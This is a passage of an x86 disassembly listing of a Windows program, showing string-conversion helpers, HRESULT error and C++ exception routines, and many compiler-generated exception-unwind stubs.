		jmp	short loc_431A6B
; ---------------------------------------------------------------------------


loc_431A0E:				; CODE XREF: sub_4319FF+9j
		push	[ebp+arg_0]
		call	dword_4330B4	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_431700
		mov	edi, esp
		push	esi
		push	edi
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		and	word ptr [edi],	0
		push	0
		push	0
		call	dword_43306C	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_431A64
		mov	esi, dword_433028
		call	esi	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_431A5C
		call	esi	; RtlGetLastWin32Error
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_431A5E
; ---------------------------------------------------------------------------


loc_431A5C:				; CODE XREF: sub_4319FF+4Dj
		xor	eax, eax


loc_431A5E:				; CODE XREF: sub_4319FF+5Bj
		push	eax
		call	sub_431952


loc_431A64:				; CODE XREF: sub_4319FF+41j
		push	edi
		call	dword_433280


loc_431A6B:				; CODE XREF: sub_4319FF+Dj
		lea	esp, [ebp-8]
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_4319FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_431A74	proc near		; CODE XREF: sub_4241E8+Bp

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		xor	ebx, ebx
		cmp	ebp, ebx
		jnz	short loc_431A84
		xor	eax, eax
		jmp	short loc_431AE3
; ---------------------------------------------------------------------------


loc_431A84:				; CODE XREF: sub_431A74+Aj
		push	esi
		push	edi
		push	ebp
		call	sub_431C0A	; wcslen
		lea	edi, [eax+eax+2]
		push	edi
		call	sub_431624
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_431AA8
		push	8007000Eh
		call	sub_431952


loc_431AA8:				; CODE XREF: sub_431A74+28j
		push	ebx
		push	ebx
		push	edi
		push	esi
		push	0FFFFFFFFh
		push	ebp
		push	ebx
		push	ebx
		mov	[esi], bl
		call	dword_433068	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_431ADF
		mov	edi, dword_433028
		call	edi	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_431AD7
		call	edi	; RtlGetLastWin32Error
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_431AD9
; ---------------------------------------------------------------------------


loc_431AD7:				; CODE XREF: sub_431A74+53j
		xor	eax, eax


loc_431AD9:				; CODE XREF: sub_431A74+61j
		push	eax
		call	sub_431952


loc_431ADF:				; CODE XREF: sub_431A74+47j
		mov	eax, esi
		pop	edi
		pop	esi


loc_431AE3:				; CODE XREF: sub_431A74+Ej
		pop	ebp
		pop	ebx
		retn	4
sub_431A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_431AE8	proc near		; CODE XREF: sub_4319CB+Cp

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		push	esi
		push	edi
		mov	di, [esp+8+arg_4]
		mov	esi, ecx
		cmp	di, 3
		jz	short loc_431B0D
		cmp	di, 0Ah
		jz	short loc_431B13
		cmp	di, 0Bh
		jz	short loc_431B0D
		push	80070057h
		call	sub_431952


loc_431B0D:				; CODE XREF: sub_431AE8+Dj
					; sub_431AE8+19j
		cmp	di, 0Ah
		jnz	short loc_431B1A


loc_431B13:				; CODE XREF: sub_431AE8+13j
		mov	word ptr [esi],	0Ah
		jmp	short loc_431B36
; ---------------------------------------------------------------------------


loc_431B1A:				; CODE XREF: sub_431AE8+29j
		cmp	di, 0Bh
		jnz	short loc_431B31
		mov	eax, [esp+8+arg_0]
		mov	[esi], di
		neg	eax
		sbb	eax, eax
		mov	[esi+8], ax
		jmp	short loc_431B3D
; ---------------------------------------------------------------------------


loc_431B31:				; CODE XREF: sub_431AE8+36j
		mov	word ptr [esi],	3


loc_431B36:				; CODE XREF: sub_431AE8+30j
		mov	eax, [esp+8+arg_0]
		mov	[esi+8], eax


loc_431B3D:				; CODE XREF: sub_431AE8+47j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_431AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B44	proc near		; CODE XREF: sub_431952+6p
					; sub_431960+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_431B68
		lea	eax, [ebp+var_10]
		push	offset dword_435E38
		push	eax
		call	sub_4316EC	; _CxxThrowException
sub_431B44	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_431B68	proc near		; CODE XREF: sub_431B44+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_434AF8
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_431B94
		cmp	[esp+4+arg_8], 0
		jz	short loc_431B94
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_431B94:				; CODE XREF: sub_431B68+1Dj
					; sub_431B68+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_431B68	endp


; =============== S U B	R O U T	I N E =======================================



sub_431B9A	proc near		; DATA XREF: HLXc:off_434AF8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_431BE3
		test	[esp+4+arg_0], 1
		jz	short loc_431BB0
		push	esi
		call	sub_43161E
		pop	ecx


loc_431BB0:				; CODE XREF: sub_431B9A+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_431B9A	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_434AF8
		jz	short loc_431BDD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_431BDD:				; CODE XREF: HLXc:00431BD5j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_431BE3	proc near		; CODE XREF: sub_431B9A+3p
					; DATA XREF: HLXc:00435E3Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_434AF8
		test	eax, eax
		jz	short loc_431BF9
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_431BF9:				; CODE XREF: sub_431BE3+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_431C07
		push	esi
		call	dword_433064	; LocalFree


loc_431C07:				; CODE XREF: sub_431BE3+1Bj
		pop	esi
		retn
sub_431BE3	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_431C0A	proc near		; CODE XREF: sub_431A74+13p
		jmp	dword_4331E8
sub_431C0A	endp


; =============== S U B	R O U T	I N E =======================================



SEH_421109	proc near		; DATA XREF: sub_421109+5o
		mov	eax, offset dword_434B90
		jmp	sub_43169C
SEH_421109	endp


; =============== S U B	R O U T	I N E =======================================



sub_431C1A	proc near		; DATA XREF: HLXc:004211C7o
		mov	eax, offset dword_434BE8
		jmp	sub_43169C
sub_431C1A	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-70h]
		call	dword_433158
		retn
; ---------------------------------------------------------------------------


loc_431C2E:				; DATA XREF: HLXc:00421280o
		mov	eax, offset dword_434C40
		jmp	sub_43169C

; =============== S U B	R O U T	I N E =======================================



SEH_42146A	proc near		; DATA XREF: sub_42146A+5o
		mov	eax, offset dword_434CA0
		jmp	sub_43169C
SEH_42146A	endp


; =============== S U B	R O U T	I N E =======================================



sub_431C42	proc near		; DATA XREF: HLXc:004215ECo
		mov	eax, offset dword_434CF8
		jmp	sub_43169C
sub_431C42	endp


; =============== S U B	R O U T	I N E =======================================



sub_431C4C	proc near		; DATA XREF: HLXc:00421832o
		mov	eax, offset dword_434D50
		jmp	sub_43169C
sub_431C4C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



SEH_421C92	proc near		; DATA XREF: sub_421C92+5o
		mov	eax, offset dword_434DE0
		jmp	sub_43169C
SEH_421C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_431C6A	proc near		; DATA XREF: HLXc:00434E64o
		lea	ecx, [ebp+0Ch]
		call	sub_431642
		retn
sub_431C6A	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		call	sub_431642
		retn
; ---------------------------------------------------------------------------
		mov	eax, [ebp-30h]
		and	eax, 1
		test	eax, eax
		jz	locret_431C9B
		mov	ecx, [ebp+8]
		call	sub_431642

locret_431C9B:				; CODE XREF: HLXc:00431C8Dj
		retn
; ---------------------------------------------------------------------------


loc_431C9C:				; DATA XREF: HLXc:00422510o
		mov	eax, offset dword_434E38
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_431CB0:				; DATA XREF: HLXc:00434EA4o
		mov	ecx, [ebp-1Ch]
		add	ecx, 4
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 8
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 10h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 14h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 1Ch
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 20h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 24h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		add	ecx, 202Ch
		jmp	sub_4226C7
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_431D1B:				; DATA XREF: sub_422A1Eo
		mov	eax, offset dword_434E78
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_431D30:				; DATA XREF: HLXc:00434F1Co
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1Ch
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 20h
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 24h
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_431D7D:				; DATA XREF: sub_422BB1o
		mov	eax, offset dword_434EF0
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_431D88:				; DATA XREF: sub_422E6Eo
		mov	eax, offset dword_434F50
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_431D94:				; DATA XREF: HLXc:00434FD4o
		lea	ecx, [ebp+0Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_431DBA
		mov	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------

locret_431DBA:				; CODE XREF: HLXc:00431DACj
		retn
; ---------------------------------------------------------------------------


loc_431DBB:				; DATA XREF: sub_422F54o
		mov	eax, offset dword_434FA8
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_431DC8:				; DATA XREF: HLXc:0043500Co
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+0Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_431DF6
		mov	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------

locret_431DF6:				; CODE XREF: HLXc:00431DE8j
		retn
; ---------------------------------------------------------------------------


loc_431DF7:				; DATA XREF: sub_42309Co
		mov	eax, offset dword_434FE0
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------


loc_431E0C:				; DATA XREF: HLXc:0043504Co
		lea	ecx, [ebp-14h]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C0h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D0h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-0C8h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-20h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-140h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-120h]
		jmp	sub_4266D6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A4h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D8h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D4h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0BCh]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E0h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-68h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-78h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-88h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-98h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A8h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------


loc_431F3D:				; DATA XREF: sub_42342Do
		mov	eax, offset dword_435020
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		push	dword ptr [ebp-10h]
		call	sub_43161E
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; DATA XREF: sub_4240F6o
		mov	eax, offset dword_435140
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_43161E
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_431F66:				; DATA XREF: sub_4242ECo
		mov	eax, offset dword_435168
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------


loc_431F78:				; DATA XREF: HLXc:004351BCo
		lea	ecx, [ebp-10h]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	sub_42414A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_4264A2
; ---------------------------------------------------------------------------


loc_431F90:				; DATA XREF: sub_424429o
		mov	eax, offset dword_435190
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_431FA4:				; DATA XREF: HLXc:004351FCo
		lea	ecx, [ebp-38h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-98h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-78h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------


loc_43200F:				; DATA XREF: sub_4245AAo
		mov	eax, offset dword_4351D0
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432024:				; DATA XREF: HLXc:0043528Co
		push	dword ptr [ebp-14h]
		call	sub_43161E
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_43202E:				; DATA XREF: sub_424A53o
		mov	eax, offset dword_435260
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432040:				; DATA XREF: HLXc:004352BCo
		lea	ecx, [ebp-30h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C8h]
		jmp	sub_4266D6
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A8h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-88h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432099:				; DATA XREF: sub_424AE5o
		mov	eax, offset dword_435290
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+0Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_4320AC:				; DATA XREF: HLXc:00435334o
		lea	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-20h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_4320F4:				; DATA XREF: sub_4252F7o
		mov	eax, offset dword_435308
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 10h


loc_432100:				; DATA XREF: HLXc:004353A4o
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_43213E
		mov	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------

locret_43213E:				; CODE XREF: HLXc:00432130j
		retn
; ---------------------------------------------------------------------------


loc_43213F:				; DATA XREF: sub_4254CEo
		mov	eax, offset dword_435378
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432154:				; DATA XREF: HLXc:004353F4o
		lea	ecx, [ebp-34h]
		jmp	sub_4266D6
; ---------------------------------------------------------------------------


loc_43215C:				; DATA XREF: sub_4255E6o
		mov	eax, offset dword_4353C8
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_432168:				; DATA XREF: HLXc:00435424o
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_4321A6
		mov	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------

locret_4321A6:				; CODE XREF: HLXc:00432198j
		retn
; ---------------------------------------------------------------------------


loc_4321A7:				; DATA XREF: sub_425733o
		mov	eax, offset dword_4353F8
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_4321B4:				; DATA XREF: HLXc:00435474o
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_4321F2
		mov	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------

locret_4321F2:				; CODE XREF: HLXc:004321E4j
		retn
; ---------------------------------------------------------------------------


loc_4321F3:				; DATA XREF: sub_42583Ao
		mov	eax, offset dword_435448
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432208:				; DATA XREF: HLXc:004354C4o
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432240:				; DATA XREF: sub_425952o
		mov	eax, offset dword_435498
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432254:				; DATA XREF: HLXc:00435524o
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_43227C:				; DATA XREF: sub_425AD2o
		mov	eax, offset dword_4354F8
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_432288:				; DATA XREF: HLXc:00435574o
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_4322C6
		mov	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------

locret_4322C6:				; CODE XREF: HLXc:004322B8j
		retn
; ---------------------------------------------------------------------------


loc_4322C7:				; DATA XREF: sub_425C0Bo
		mov	eax, offset dword_435548
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_4322DC:				; DATA XREF: HLXc:004355C4o
		lea	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_4322EC:				; DATA XREF: sub_425D38o
		mov	eax, offset dword_435598
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+8]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432300:				; DATA XREF: HLXc:004355FCo
		lea	ecx, [ebp-14h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-74h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-30h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_426ABF
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	sub_431642
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	sub_431642
; ---------------------------------------------------------------------------


loc_432388:				; DATA XREF: sub_425FC6o
		mov	eax, offset dword_4355D0
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 4


loc_432394:				; DATA XREF: sub_4263D6o
		mov	eax, offset dword_4356A0
		jmp	sub_43169C
; ---------------------------------------------------------------------------
		align 10h
